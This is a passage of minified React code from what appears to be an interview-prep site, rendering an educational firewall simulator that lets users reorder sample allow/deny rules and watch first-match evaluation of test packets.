text-slate-700 hover:bg-slate-50 transition-colors shadow-2xs cursor-pointer active:scale-95`,title:`Copy question direct link`,children:g?(0,k.jsxs)(k.Fragment,{children:[(0,k.jsx)(E,{className:`h-3.5 w-3.5 text-emerald-600`}),(0,k.jsx)(`span`,{className:`text-emerald-700`,children:`Copied`})]}):(0,k.jsxs)(k.Fragment,{children:[(0,k.jsx)(ut,{className:`h-3.5 w-3.5 text-slate-500`}),(0,k.jsx)(`span`,{children:`Share`})]})}),(0,k.jsxs)(`button`,{onClick:ne,className:`flex items-center gap-1.5 px-3 py-1.5 sm:px-3.5 sm:py-1.5 rounded-lg text-xs font-bold transition-all shadow-2xs cursor-pointer active:scale-95 ${o?`bg-emerald-50 text-emerald-800 border border-emerald-300 shadow-2xs`:`border border-slate-200 bg-white text-slate-700 hover:bg-slate-50`}`,children:[(0,k.jsx)(Te,{className:`h-3.5 w-3.5 ${o?`text-emerald-600`:`text-slate-400`}`}),(0,k.jsx)(`span`,{children:o?`Completed`:`Mark Complete`})]})]})]}),(0,k.jsx)(`h1`,{className:`text-xl sm:text-2xl lg:text-3xl font-extrabold text-slate-900 tracking-tight leading-tight`,children:e.title}),(0,k.jsx)(`p`,{className:`text-xs sm:text-sm md:text-base text-slate-500 font-medium`,children:e.subtitle})]}),(0,k.jsxs)(`div`,{className:`flex items-center border-b border-slate-200 gap-1 sm:gap-6 pt-1 overflow-x-auto no-scrollbar`,children:[(0,k.jsxs)(`button`,{onClick:()=>l(`visual`),className:`flex items-center gap-2 pb-3 px-2 text-xs sm:text-sm font-bold border-b-2 transition-all cursor-pointer whitespace-nowrap shrink-0 ${c===`visual`?`border-blue-600 text-blue-600`:`border-transparent text-slate-500 hover:text-slate-800`}`,children:[(0,k.jsx)(Ce,{className:`h-4 w-4`}),`Visual lesson`]}),(0,k.jsxs)(`button`,{onClick:()=>l(`answer`),className:`flex items-center gap-2 pb-3 px-2 text-xs sm:text-sm font-bold border-b-2 transition-all cursor-pointer whitespace-nowrap shrink-0 ${c===`answer`?`border-blue-600 text-blue-600`:`border-transparent text-slate-500 hover:text-slate-800`}`,children:[(0,k.jsx)(wt,{className:`h-4 w-4`}),`Interview answer`]}),(0,k.jsxs)(`button`,{onClick:()=>l(`practice`),className:`flex items-center gap-2 pb-3 px-2 text-xs sm:text-sm font-bold border-b-2 transition-all cursor-pointer whitespace-nowrap shrink-0 ${c===`practice`?`border-blue-600 text-blue-600`:`border-transparent text-slate-500 hover:text-slate-800`}`,children:[(0,k.jsx)(De,{className:`h-4 w-4`}),`Practice quiz`,(0,k.jsx)(`span`,{className:`flex h-1.5 w-1.5 rounded-full bg-blue-500`})]})]}),c===`visual`&&(0,k.jsxs)(`div`,{className:`space-y-4`,children:[(0,k.jsx)(Ft,{steps:e.steps,currentStepIndex:u,onStepClick:e=>{p(!1),d(e)}}),(0,k.jsxs)(`div`,{className:`rounded-2xl border border-slate-200 bg-white shadow-xs overflow-hidden`,children:[(0,k.jsx)(In,{question:e,currentStepIndex:u,onOpenSandbox:s}),(0,k.jsx)(Ln,{isPlaying:f,onTogglePlay:b,onPrevStep:x,onNextStep:S,onReplay:ee,currentStep:u,totalSteps:e.steps.length,onScrub:te,speed:m,onChangeSpeed:h})]}),(0,k.jsx)(Rn,{currentStep:w,onOpenQuiz:()=>l(`practice`),onOpenSandbox:s,isRuleSpecificQuestion:re})]}),c===`answer`&&(0,k.jsx)(Vn,{question:e}),c===`practice`&&(0,k.jsx)(Wn,{question:e,onMarkCompleted:a,isCompleted:o}),(0,k.jsxs)(`div`,{className:`pt-8 border-t border-slate-200 flex items-center justify-between gap-4`,children:[(0,k.jsxs)(`button`,{onClick:r,disabled:t===0,className:`flex items-center gap-2 px-4 py-2.5 rounded-xl border border-slate-200 bg-white text-xs sm:text-sm font-bold text-slate-700 hover:bg-slate-50 disabled:opacity-30 disabled:cursor-not-allowed transition-all shadow-2xs cursor-pointer`,children:[(0,k.jsx)(he,{className:`h-4 w-4`}),(0,k.jsx)(`span`,{className:`hidden sm:inline`,children:`Previous Question`}),(0,k.jsx)(`span`,{className:`sm:hidden`,children:`Prev`})]}),(0,k.jsxs)(`div`,{className:`text-xs font-mono font-bold text-slate-500`,children:[e.id,` / `,n]}),(0,k.jsxs)(`button`,{onClick:i,disabled:t===n-1,className:`flex items-center gap-2 px-5 py-2.5 rounded-xl bg-blue-600 text-white text-xs sm:text-sm font-bold shadow-md shadow-blue-500/20 hover:bg-blue-700 disabled:opacity-30 disabled:cursor-not-allowed transition-all cursor-pointer`,children:[(0,k.jsx)(`span`,{className:`hidden sm:inline`,children:`Next Question`}),(0,k.jsx)(`span`,{className:`sm:hidden`,children:`Next`}),(0,k.jsx)(_e,{className:`h-4 w-4`})]})]})]})},Kn=[{id:`rule-1`,name:`Rule 1: Allow Internal HTTPS`,action:`ALLOW`,srcIp:`10.0.0.0/24`,dstIp:`192.168.1.100`,protocol:`TCP`,port:`443`,description:`Allow subnet 10.0.0.0/24 to access Server HTTPS`},{id:`rule-2`,name:`Rule 2: Deny All Public HTTPS`,action:`DENY`,srcIp:`ANY`,dstIp:`192.168.1.100`,protocol:`TCP`,port:`443`,description:`Block all other incoming HTTPS traffic to Server`},{id:`rule-3`,name:`Rule 3: Allow Public HTTP Web`,action:`ALLOW`,srcIp:`ANY`,dstIp:`192.168.1.100`,protocol:`TCP`,port:`80`,description:`Allow public unencrypted HTTP web visitors`},{id:`rule-implicit`,name:`Default: Implicit Deny All`,action:`DENY`,srcIp:`ANY`,dstIp:`ANY`,protocol:`ANY`,port:`ANY`,description:`Catch-all default rule dropping any unmatched packet`,isImplicit:!0}],qn=[{id:`pkt-1`,name:`Internal User (10.0.0.25 on Port 443)`,srcIp:`10.0.0.25`,dstIp:`192.168.1.100`,protocol:`TCP`,port:443,payload:`GET /secure-portal HTTP/1.1`,category:`Internal Service`},{id:`pkt-2`,name:`External Visitor (198.51.100.42 on Port 443)`,srcIp:`198.51.100.42`,dstIp:`192.168.1.100`,protocol:`TCP`,port:443,payload:`GET /login HTTP/1.1`,category:`Blocked Subnet`},{id:`pkt-3`,name:`Public Visitor (198.51.100.99 on Port 80)`,srcIp:`198.51.100.99`,dstIp:`192.168.1.100`,protocol:`TCP`,port:80,payload:`GET /index.html HTTP/1.1`,category:`Legitimate Web`},{id:`pkt-4`,name:`SSH Probe on Port 22 (10.0.0.50)`,srcIp:`10.0.0.50`,dstIp:`192.168.1.100`,protocol:`TCP`,port:22,payload:`SSH-2.0-OpenSSH_8.9`,category:`Attack Traffic`}];function Jn(e){let t=e.trim().split(`.`).map(Number);return t.length!==4||t.some(e=>isNaN(e)||e<0||e>255)?0:(t[0]<<24|t[1]<<16|t[2]<<8|t[3])>>>0}function Yn(e,t,n=`192.168.1.100`){let r=t.trim();if(r===`ANY`||r===`*`||r===`0.0.0.0/0`)return!0;if(r.toLowerCase()===`server`||r.toLowerCase()===`host`)return e===n;if(r.includes(`/`)){let[t,n]=r.split(`/`),i=parseInt(n,10);if(isNaN(i)||i<0||i>32)return!1;let a=i===0?0:-1<<32-i>>>0;return(Jn(t)&a)===(Jn(e)&a)}return e.trim()===r}function Xn(e,t){let n=t.trim().toUpperCase();if(n===`ANY`||n===`*`)return!0;let r=parseInt(n,10);return!isNaN(r)&&r===e}function Zn(e,t){let n=t.trim().toUpperCase();return n===`ANY`||n===`*`||n===e.trim().toUpperCase()}function Qn(e,t){let n=[],r=-1,i=null;for(let a=0;a<t.length;a++){let o=t[a],s=Yn(e.srcIp,o.srcIp),c=Yn(e.dstIp,o.dstIp),l=Zn(e.protocol,o.protocol),u=Xn(e.port,o.port),d=s&&c&&l&&u,f=``;if(d)f=`Matched! (Src: ${s?`✓`:`✗`}, Dst: ${c?`✓`:`✗`}, Proto: ${l?`✓`:`✗`}, Port: ${u?`✓`:`✗`})`;else{let t=[];s||t.push(`Source ${e.srcIp} != ${o.srcIp}`),c||t.push(`Dest ${e.dstIp} != ${o.dstIp}`),l||t.push(`Protocol ${e.protocol} != ${o.protocol}`),u||t.push(`Port ${e.port} != ${o.port}`),f=`No Match: ${t.join(`, `)}`}if(n.push({ruleIndex:a,rule:o,srcMatch:s,dstMatch:c,protoMatch:l,portMatch:u,isFullMatch:d,reason:f}),d){r=a,i=o;break}}i||(i={id:`fallback-deny`,name:`Default Implicit Deny`,action:`DENY`,srcIp:`ANY`,dstIp:`ANY`,protocol:`ANY`,port:`ANY`,description:`System default drop for unmatched packets`},r=t.length);let a=i.action,o=``;return o=i.isImplicit?`The packet from ${e.srcIp} on port ${e.port} did not match any explicit allow/deny rules, so it was dropped by the final Implicit Deny rule.`:a===`ALLOW`?`The packet matched "${i.name}" (Rule #${r+1}) first, so the firewall ALLOWED the connection.`:`The packet matched "${i.name}" (Rule #${r+1}) first, so the firewall DENIED the connection.`,{matchedRuleIndex:r,matchedRule:i,decision:a,steps:n,explanation:o}}var $n=({initialPacket:e,onSimulateComplete:t})=>{let[n,r]=(0,_.useState)(()=>JSON.parse(JSON.stringify(Kn))),[i,a]=(0,_.useState)(e||qn[0]),[o,s]=(0,_.useState)(qn[0].srcIp),[c,l]=(0,_.useState)(qn[0].port),[u,d]=(0,_.useState)(qn[0].protocol),[f,p]=(0,_.useState)(!1),[m,h]=(0,_.useState)(null),[g,v]=(0,_.useState)(null),[y,b]=(0,_.useState)(0),[x,S]=(0,_.useState)([]),[ee,te]=(0,_.useState)(!1),[C,ne]=(0,_.useState)(null),[w,re]=(0,_.useState)(null),ie=(0,_.useRef)([]),ae=()=>{ie.current.forEach(e=>clearTimeout(e)),ie.current=[]};(0,_.useEffect)(()=>()=>ae(),[]);let oe=e=>{n[e].isImplicit||ne(e)},se=(e,t)=>{e.preventDefault(),C!==null&&C!==t&&(n[t].isImplicit||re(t))},ce=e=>{if(C===null||C===e){ne(null),re(null);return}if(n[e].isImplicit){ne(null),re(null);return}let t=[...n],[i]=t.splice(C,1);t.splice(e,0,i),r(t),ne(null),re(null),te(!0),v(null),h(null),b(0),S([`⚡ Rule order modified: "${i.name}" moved to position #${e+1}. Click "Simulate Packet" to test.`])},le=(e,t)=>{if(t<0||t>=n.length-1)return;let i=[...n],[a]=i.splice(e,1);i.splice(t,0,a),r(i),te(!0),v(null)},T=e=>{a(e),s(e.srcIp),l(e.port),d(e.protocol),v(null),h(null),b(0),S([`Selected test packet: ${e.name}`])};return(0,k.jsxs)(`div`,{className:`space-y-6`,children:[(0,k.jsx)(`div`,{className:`rounded-2xl border border-blue-200 bg-blue-50/60 p-4 sm:p-5 shadow-xs`,children:(0,k.jsxs)(`div`,{className:`flex flex-col sm:flex-row items-start sm:items-center justify-between gap-3`,children:[(0,k.jsxs)(`div`,{className:`flex items-center gap-3`,children:[(0,k.jsx)(`div`,{className:`flex h-10 w-10 shrink-0 items-center justify-center rounded-xl bg-blue-600 text-white shadow-sm shadow-blue-500/20`,children:(0,k.jsx)(ye,{className:`h-5 w-5`})}),(0,k.jsxs)(`div`,{children:[(0,k.jsxs)(`h3`,{className:`text-sm sm:text-base font-extrabold text-slate-900 flex items-center gap-2`,children:[`Live Firewall Rule Reordering Simulator`,(0,k.jsx)(`span`,{className:`rounded-md bg-blue-100 text-blue-800 px-2 py-0.5 text-[10px] font-mono font-bold`,children:`Top-to-Bottom First Match`})]}),(0,k.jsx)(`p`,{className:`text-xs text-slate-600 font-medium`,children:`Drag rules up/down to observe how rule order deterministically changes the ALLOW/DENY verdict.`})]})]}),(0,k.jsxs)(`button`,{onClick:()=>{ae(),r(JSON.parse(JSON.stringify(Kn))),v(null),h(null),b(0),te(!1),S([`Rules reset to default baseline configuration.`])},className:`flex items-center gap-1.5 px-3 py-1.5 rounded-lg border border-slate-200 bg-white text-xs font-bold text-slate-700 hover:bg-slate-100 shadow-2xs transition-colors cursor-pointer`,children:[(0,k.jsx)(it,{className:`h-3.5 w-3.5 text-blue-600`}),`Reset Rules`]})]})}),(0,k.jsxs)(`div`,{className:`relative overflow-hidden rounded-2xl border border-slate-200 bg-white p-3.5 sm:p-6 shadow-sm bg-grid-dots min-h-[200px] sm:min-h-[220px] flex flex-col justify-between`,children:[(0,k.jsxs)(`div`,{className:`flex flex-col sm:flex-row items-start sm:items-center justify-between border-b border-slate-100 pb-2.5 sm:pb-3 gap-1.5`,children:[(0,k.jsxs)(`div`,{className:`flex items-center gap-2`,children:[(0,k.jsx)(`span`,{className:`h-2 w-2 rounded-full bg-emerald-500 animate-ping shrink-0`}),(0,k.jsxs)(`span`,{className:`text-[11px] sm:text-xs font-mono text-slate-700 font-bold truncate`,children:[`TRAFFIC FLOW: Source (`,o,`) → Firewall → Server`]})]}),(0,k.jsxs)(`div`,{className:`flex items-center gap-1.5 text-[11px] sm:text-xs font-mono`,children:[(0,k.jsx)(`span`,{className:`text-slate-500`,children:`Evaluation:`}),(0,k.jsx)(`span`,{className:`text-blue-600 font-bold`,children:`Sequential First Match`})]})]}),(0,k.jsxs)(`div`,{className:`relative my-6 sm:my-8 hidden sm:flex items-center justify-between px-2 sm:px-12`,children:[(0,k.jsx)(`div`,{className:`absolute left-6 right-6 sm:left-8 sm:right-8 top-1/2 -translate-y-1/2 h-1 bg-slate-200 z-0`,children:(0,k.jsx)(`div`,{className:`h-full transition-all duration-700 ${g?.decision===`ALLOW`?`bg-emerald-500 shadow-sm`:g?.decision===`DENY`?`bg-rose-500 shadow-sm`:`bg-blue-500`}`,style:{width:`${Math.max(10,y)}%`}})}),(0,k.jsxs)(`div`,{className:`relative z-10 flex flex-col items-center`,children:[(0,k.jsx)(`div`,{className:`flex h-11 w-11 sm:h-14 sm:w-14 items-center justify-center rounded-xl sm:rounded-2xl bg-white border-2 border-blue-500 text-blue-600 shadow-md`,children:(0,k.jsx)(He,{className:`h-5 w-5 sm:h-7 sm:w-7`})}),(0,k.jsx)(`span`,{className:`mt-1 sm:mt-2 text-[11px] sm:text-xs font-bold text-slate-800`,children:`Source Host`}),(0,k.jsx)(`span`,{className:`text-[10px] sm:text-[11px] font-mono text-blue-600 font-semibold`,children:o})]}),(0,k.jsxs)(`div`,{className:`relative z-10 flex flex-col items-center`,children:[(0,k.jsx)(`div`,{className:`flex h-12 w-12 sm:h-16 sm:w-16 items-center justify-center rounded-xl sm:rounded-2xl border-2 transition-all shadow-md ${m===null?g?.decision===`ALLOW`?`bg-emerald-50 border-emerald-500 text-emerald-700`:g?.decision===`DENY`?`bg-rose-50 border-rose-500 text-rose-700`:`bg-white border-slate-300 text-slate-700`:`bg-blue-50 border-blue-600 text-blue-700 scale-110 shadow-blue-500/20`}`,children:(0,k.jsx)(gt,{className:`h-6 w-6 sm:h-8 sm:w-8`})}),(0,k.jsx)(`span`,{className:`mt-1 sm:mt-2 text-[11px] sm:text-xs font-bold text-slate-800`,children:`Firewall`}),(0,k.jsx)(`span`,{className:`text-[10px] sm:text-[11px] font-mono text-slate-500 font-semibold truncate max-w-[100px] text-center`,children:m===null?`Inspector`:`Rule #${m+1}`})]}),(0,k.jsxs)(`div`,{className:`relative z-10 flex flex-col items-center`,children:[(0,k.jsx)(`div`,{className:`flex h-11 w-11 sm:h-14 sm:w-14 items-center justify-center rounded-xl sm:rounded-2xl border-2 transition-all shadow-md ${g?.decision===`ALLOW`?`bg-emerald-50 border-emerald-500 text-emerald-700 scale-105`:`bg-white border-slate-300 text-slate-600`}`,children:(0,k.jsx)(ct,{className:`h-5 w-5 sm:h-7 sm:w-7`})}),(0,k.jsx)(`span`,{className:`mt-1 sm:mt-2 text-[11px] sm:text-xs font-bold text-slate-800`,children:`Target Server`}),(0,k.jsxs)(`span`,{className:`text-[10px] sm:text-[11px] font-mono text-slate-500 font-semibold truncate max-w-[90px] text-center`,children:[`:`,c]})]}),f&&(0,k.jsx)(`div`,{className:`absolute top-1/2 -translate-y-1/2 z-20 transition-all duration-500 ease-out`,style:{left:`${y}%`},children:(0,k.jsx)(`div`,{className:`flex items-center gap-1 rounded-full bg-blue-600 px-2 sm:px-3 py-0.5 sm:py-1 shadow-md text-white font-mono text-[9px] sm:text-[10px] font-bold ring-2 ring-blue-300 -translate-x-1/2 -translate-y-8 animate-bounce`,children:(0,k.jsxs)(`span`,{children:[`[`,u,`:`,c,`]`]})})})]}),(0,k.jsxs)(`div`,{className:`relative my-4 sm:hidden flex flex-col items-center justify-between min-h-[480px] py-2 px-1`,children:[(0,k.jsx)(`div`,{className:`absolute top-12 bottom-12 left-1/2 -translate-x-1/2 w-1.5 bg-slate-200 z-0 rounded-full overflow-hidden`,children:(0,k.jsx)(`div`,{className:`w-full transition-all duration-700 ${g?.decision===`ALLOW`?`bg-emerald-500 shadow-sm`:g?.decision===`DENY`?`bg-rose-500 shadow-sm`:`bg-blue-500`}`,style:{height:`${Math.max(10,y)}%`}})}),(0,k.jsx)(`div`,{className:`relative z-10 flex flex-col items-center`,children:(0,k.jsx)(It,{label:`Source Host`,sublabel:o,ip:o,isActive:f&&y<30,isSuccess:g?.decision===`ALLOW`,statusText:f&&y<30?`GENERATING`:void 0})}),(0,k.jsx)(`div`,{className:`relative z-10 flex flex-col items-center my-3`,children:(0,k.jsx)(Lt,{label:`Firewall Engine`,sublabel:m===null?`Sequential Match`:`Rule #${m+1}`,isActive:m!==null||f&&y>=30&&y<=60,isSuccess:g?.decision===`ALLOW`,isDanger:g?.decision===`DENY`,statusText:m===null?g?.decision===`ALLOW`?`ALLOWED ✓`:g?.decision===`DENY`?`DENIED ✕`:void 0:`CHECKING RULE #${m+1}`})}),(0,k.jsx)(`div`,{className:`relative z-10 flex flex-col items-center`,children:(0,k.jsx)(Rt,{label:`Target Server`,sublabel:`Port :${c}`,ip:`:${c}`,isActive:g?.decision===`ALLOW`,isSuccess:g?.decision===`ALLOW`,isDanger:g?.decision===`DENY`,statusText:g?.decision===`ALLOW`?`PACKET RECEIVED`:void 0})}),f&&(0,k.jsx)(`div`,{className:`absolute left-1/2 -translate-x-1/2 z-20 transition-all duration-500 ease-out pointer-events-none`,style:{top:`${Math.min(85,Math.max(12,y))}%`},children:(0,k.jsx)(`div`,{className:`flex items-center gap-1 rounded-full bg-blue-600 px-3 py-1 shadow-xl text-white font-mono text-[10px] font-bold ring-2 ring-blue-300 translate-x-14 animate-bounce`,children:(0,k.jsxs)(`span`,{children:[`↓ [`,u,`:`,c,`]`]})})})]}),g&&(0,k.jsxs)(`div`,{className:`p-3.5 sm:p-4 rounded-xl border flex flex-col sm:flex-row items-start sm:items-center justify-between gap-3 animate-fadeIn ${g.decision===`ALLOW`?`bg-emerald-50 border-emerald-200 text-emerald-950`:`bg-rose-50 border-rose-200 text-rose-950`}`,children:[(0,k.jsxs)(`div`,{className:`flex items-start sm:items-center gap-2.5 sm:gap-3`,children:[g.decision===`ALLOW`?(0,k.jsx)(Te,{className:`h-6 w-6 sm:h-7 sm:w-7 text-emerald-600 shrink-0 mt-0.5 sm:mt-0`}):(0,k.jsx)(ke,{className:`h-6 w-6 sm:h-7 sm:w-7 text-rose-600 shrink-0 mt-0.5 sm:mt-0`}),(0,k.jsxs)(`div`,{children:[(0,k.jsxs)(`div`,{className:`flex flex-wrap items-center gap-2`,children:[(0,k.jsxs)(`span`,{className:`text-sm sm:text-base font-extrabold tracking-tight`,children:[`VERDICT: `,g.decision===`ALLOW`?`ALLOWED ✓`:`DENIED ✕`]}),(0,k.jsxs)(`span`,{className:`rounded bg-white border border-slate-200 px-2 py-0.5 text-xs font-mono font-bold text-slate-800 shadow-2xs`,children:[`Matched Rule #`,g.matchedRuleIndex+1]})]}),(0,k.jsx)(`p`,{className:`text-xs sm:text-sm mt-0.5 font-medium`,children:g.explanation})]})]}),ee&&(0,k.jsx)(`div`,{className:`rounded-lg bg-white border border-amber-200 px-2.5 py-1 text-[11px] sm:text-xs text-amber-900 font-bold shadow-2xs shrink-0`,children:`⚡ Rule order changed verdict!`})]})]}),(0,k.jsxs)(`div`,{className:`grid grid-cols-1 lg:grid-cols-12 gap-6`,children:[(0,k.jsxs)(`div`,{className:`lg:col-span-5 space-y-4`,children:[(0,k.jsxs)(`div`,{className:`rounded-2xl border border-slate-200 bg-white p-4 sm:p-5 shadow-sm`,children:[(0,k.jsxs)(`h4`,{className:`text-sm font-extrabold text-slate-900 mb-3 flex items-center gap-2`,children:[(0,k.jsx)(He,{className:`h-4 w-4 text-blue-600`}),`Select or Craft Test Packet`]}),(0,k.jsx)(`div`,{className:`space-y-2 mb-4`,children:qn.map(e=>{let t=i.id===e.id&&o===e.srcIp&&c===e.port;return(0,k.jsxs)(`button`,{onClick:()=>T(e),className:`w-full flex items-center justify-between p-2.5 rounded-xl border text-left transition-all text-xs cursor-pointer ${t?`border-blue-500 bg-blue-50/80 text-blue-950 font-bold ring-1 ring-blue-500/40 shadow-xs`:`border-slate-200 bg-slate-50 text-slate-700 hover:bg-slate-100`}`,children:[(0,k.jsxs)(`div`,{children:[(0,k.jsx)(`p`,{className:`font-bold`,children:e.name}),(0,k.jsxs)(`p`,{className:`text-[11px] font-mono text-slate-500`,children:[`Src: `,(0,k.jsx)(`span`,{className:`text-blue-700 font-semibold`,children:e.srcIp}),` | Port: `,(0,k.jsx)(`span`,{className:`text-indigo-700 font-semibold`,children:e.port})]})]}),(0,k.jsx)(`span`,{className:`text-[10px] px-2 py-0.5 rounded-full bg-white border border-slate-200 text-slate-600 font-semibold`,children:e.category})]},e.id)})}),(0,k.jsxs)(`div`,{className:`pt-3 border-t border-slate-100 space-y-3`,children:[(0,k.jsxs)(`div`,{children:[(0,k.jsx)(`label`,{className:`block text-[11px] font-bold text-slate-600 uppercase mb-1`,children:`Source IP Address`}),(0,k.jsx)(`input`,{type:`text`,value:o,onChange:e=>s(e.target.value),className:`w-full rounded-lg border border-slate-200 bg-slate-50 px-3 py-1.5 text-xs font-mono text-slate-900 focus:border-blue-500 focus:bg-white focus:outline-none`,placeholder:`e.g. 10.0.0.25`})]}),(0,k.jsxs)(`div`,{className:`grid grid-cols-2 gap-2`,children:[(0,k.jsxs)(`div`,{children:[(0,k.jsx)(`label`,{className:`block text-[11px] font-bold text-slate-600 uppercase mb-1`,children:`Dest Port`}),(0,k.jsx)(`input`,{type:`number`,value:c,onChange:e=>l(Number(e.target.value)),className:`w-full rounded-lg border border-slate-200 bg-slate-50 px-3 py-1.5 text-xs font-mono text-slate-900 focus:border-blue-500 focus:bg-white focus:outline-none`,placeholder:`443`})]}),(0,k.jsxs)(`div`,{children:[(0,k.jsx)(`label`,{className:`block text-[11px] font-bold text-slate-600 uppercase mb-1`,children:`Protocol`}),(0,k.jsxs)(`select`,{value:u,onChange:e=>d(e.target.value),className:`w-full rounded-lg border border-slate-200 bg-slate-50 px-3 py-1.5 text-xs font-mono text-slate-900 focus:border-blue-500 focus:bg-white focus:outline-none`,children:[(0,k.jsx)(`option`,{value:`TCP`,children:`TCP`}),(0,k.jsx)(`option`,{value:`UDP`,children:`UDP`}),(0,k.jsx)(`option`,{value:`ICMP`,children:`ICMP`})]})]})]})]}),(0,k.jsxs)(`button`,{onClick:()=>{ae(),p(!0),v(null),h(null),b(10);let e={...i,srcIp:o,port:c,protocol:u},r=Qn(e,n),a=[`🚀 Packet generated: ${e.srcIp} → Server (${e.dstIp}:${e.port}) [${e.protocol}]`,`🔍 Ingressing Firewall... Evaluating security rules top-to-bottom:`];S(a);let s=setTimeout(()=>{b(48)},400);ie.current.push(s);let l=900;r.steps.forEach(e=>{let t=setTimeout(()=>{h(e.ruleIndex),S(t=>[...t,`  Checking Rule ${e.ruleIndex+1} (${e.rule.name}): ${e.reason}`])},l);ie.current.push(t),l+=800});let d=setTimeout(()=>{if(h(r.matchedRuleIndex),v(r),p(!1),r.decision===`ALLOW`){b(90),S(e=>[...e,`✅ DECISION: ALLOWED by Rule ${r.matchedRuleIndex+1} ("${r.matchedRule.name}")! Packet forwarded to server.`]);try{Un({particleCount:50,spread:60,origin:{y:.7}})}catch{}}else b(52),S(e=>[...e,`❌ DECISION: DENIED by Rule ${r.matchedRuleIndex+1} ("${r.matchedRule.name}")! Packet dropped at firewall.`]);t&&t(r)},l+400);ie.current.push(d)},disabled:f,className:`mt-4 sm:mt-5 w-full flex items-center justify-center gap-2 py-2.5 sm:py-3 rounded-xl bg-blue-600 text-white font-bold text-xs sm:text-sm shadow-md shadow-blue-500/20 hover:bg-blue-700 disabled:opacity-50 transition-all cursor-pointer active:scale-95`,children:[(0,k.jsx)(et,{className:`h-4 w-4 fill-current`}),f?`Simulating Packet Flow...`:`Simulate Packet`]})]}),(0,k.jsxs)(`div`,{className:`rounded-2xl border border-slate-200 bg-slate-950 p-3.5 sm:p-4 font-mono text-xs shadow-sm`,children:[(0,k.jsxs)(`div`,{className:`flex items-center justify-between pb-2 mb-2 border-b border-slate-800`,children:[(0,k.jsxs)(`span`,{className:`text-[11px] font-bold text-slate-300 flex items-center gap-1.5`,children:[(0,k.jsx)(`span`,{className:`h-2 w-2 rounded-full bg-cyan-400`}),`Firewall Evaluation Engine Log`]}),(0,k.jsx)(`span`,{className:`text-[10px] text-slate-500`,children:`Deterministic`})]}),(0,k.jsx)(`div`,{className:`space-y-1 max-h-44 sm:max-h-48 overflow-y-auto pr-1 text-[11px]`,children:x.length===0?(0,k.jsx)(`p`,{className:`text-slate-500 italic`,children:`Click "Simulate Packet" to inspect rule evaluation...`}):x.map((e,t)=>(0,k.jsx)(`p`,{className:`leading-relaxed ${e.includes(`✅`)?`text-emerald-400 font-bold`:e.includes(`❌`)?`text-rose-400 font-bold`:e.includes(`⚡`)?`text-amber-300 font-bold`:e.includes(`Matched!`)?`text-cyan-300 font-bold`:`text-slate-300`}`,children:e},t))})]})]}),(0,k.jsx)(`div`,{className:`lg:col-span-7 space-y-4`,children:(0,k.jsxs)(`div`,{className:`rounded-2xl border border-slate-200 bg-white p-4 sm:p-5 shadow-sm`,children:[(0,k.jsxs)(`div`,{className:`flex items-center justify-between mb-3`,children:[(0,k.jsxs)(`div`,{children:[(0,k.jsxs)(`h4`,{className:`text-sm font-extrabold text-slate-900 flex items-center gap-2`,children:[(0,k.jsx)(gt,{className:`h-4 w-4 text-blue-600`}),`Firewall Security Rulebase (Draggable)`]}),(0,k.jsx)(`p`,{className:`text-xs text-slate-500`,children:`Drag rules or tap arrow buttons to reorder the evaluation sequence.`})]}),(0,k.jsxs)(`span`,{className:`rounded-md bg-slate-100 border border-slate-200 px-2 py-1 text-[10px] font-mono font-bold text-slate-700 shrink-0`,children:[n.length,` Rules`]})]}),(0,k.jsx)(`div`,{className:`space-y-2 sm:space-y-2.5`,children:n.map((e,t)=>{let r=m===t,i=g?.matchedRuleIndex===t,a=w===t,o=C===t;return(0,k.jsxs)(`div`,{draggable:!e.isImplicit&&!f,onDragStart:()=>oe(t),onDragOver:e=>se(e,t),onDrop:()=>ce(t),className:`relative flex items-center gap-2 sm:gap-3 p-2.5 sm:p-3.5 rounded-xl border transition-all ${e.isImplicit?`bg-slate-50 border-slate-200 border-dashed text-slate-500`:o?`opacity-40 border-blue-500 bg-blue-50`:a?`border-blue-500 bg-blue-50 ring-2 ring-blue-500/20 scale-[1.02]`:i?e.action===`ALLOW`?`border-emerald-500 bg-emerald-50/80 text-slate-900 ring-2 ring-emerald-500/30`:`border-rose-500 bg-rose-50/80 text-slate-900 ring-2 ring-rose-500/30`:r?`border-blue-500 bg-blue-50/80 text-slate-900 ring-2 ring-blue-500/30`:`border-slate-200 bg-white text-slate-800 hover:border-slate-300 shadow-2xs`}`,children:[e.isImplicit?(0,k.jsx)(`div`,{className:`w-4 sm:w-5 shrink-0 text-center text-slate-400 font-bold text-xs`,children:`🔒`}):(0,k.jsx)(`div`,{className:`cursor-grab active:cursor-grabbing text-slate-400 hover:text-slate-700 transition-colors shrink-0`,title:`Drag to reorder rule`,children:(0,k.jsx)(Re,{className:`h-4 w-4 sm:h-5 sm:w-5`})}),(0,k.jsx)(`div`,{className:`flex flex-col items-center shrink-0`,children:(0,k.jsx)(`span`,{className:`text-[10px] font-mono font-bold text-slate-500`,children:e.isImplicit?`DEF`:`#${t+1}`})}),(0,k.jsx)(`div`,{className:`shrink-0`,children:(0,k.jsx)(`span`,{className:`px-2 sm:px-2.5 py-0.5 sm:py-1 rounded-md text-[11px] sm:text-xs font-mono font-extrabold uppercase tracking-wider ${e.action===`ALLOW`?`bg-emerald-100 text-emerald-800 border border-emerald-200`:`bg-rose-100 text-rose-800 border border-rose-200`}`,children:e.action})}),(0,k.jsxs)(`div`,{className:`flex-1 min-w-0`,children:[(0,k.jsx)(`div`,{className:`flex items-center gap-2`,children:(0,k.jsx)(`span`,{className:`text-xs font-bold text-slate-900 truncate`,children:e.name})}),(0,k.jsxs)(`div`,{className:`mt-0.5 sm:mt-1 flex flex-wrap items-center gap-x-2.5 gap-y-0.5 text-[10px] sm:text-[11px] font-mono text-slate-600`,children:[(0,k.jsxs)(`span`,{children:[`Src: `,(0,k.jsx)(`strong`,{className:`text-slate-900`,children:e.srcIp})]}),(0,k.jsxs)(`span`,{children:[`Dst: `,(0,k.jsx)(`strong`,{className:`text-slate-900`,children:e.dstIp})]}),(0,k.jsxs)(`span`,{children:[`Port: `,(0,k.jsx)(`strong`,{className:`text-blue-700`,children:e.port})]}),(0,k.jsxs)(`span`,{children:[`Proto: `,(0,k.jsx)(`strong`,{className:`text-indigo-700`,children:e.protocol})]})]})]}),!e.isImplicit&&(0,k.jsxs)(`div`,{className:`flex flex-col gap-1 shrink-0`,children:[(0,k.jsx)(`button`,{onClick:()=>le(t,t-1),disabled:t===0,className:`text-[10px] px-1.5 py-0.5 rounded bg-slate-100 text-slate-600 hover:bg-slate-200 disabled:opacity-20 cursor-pointer active:scale-95`,title:`Move 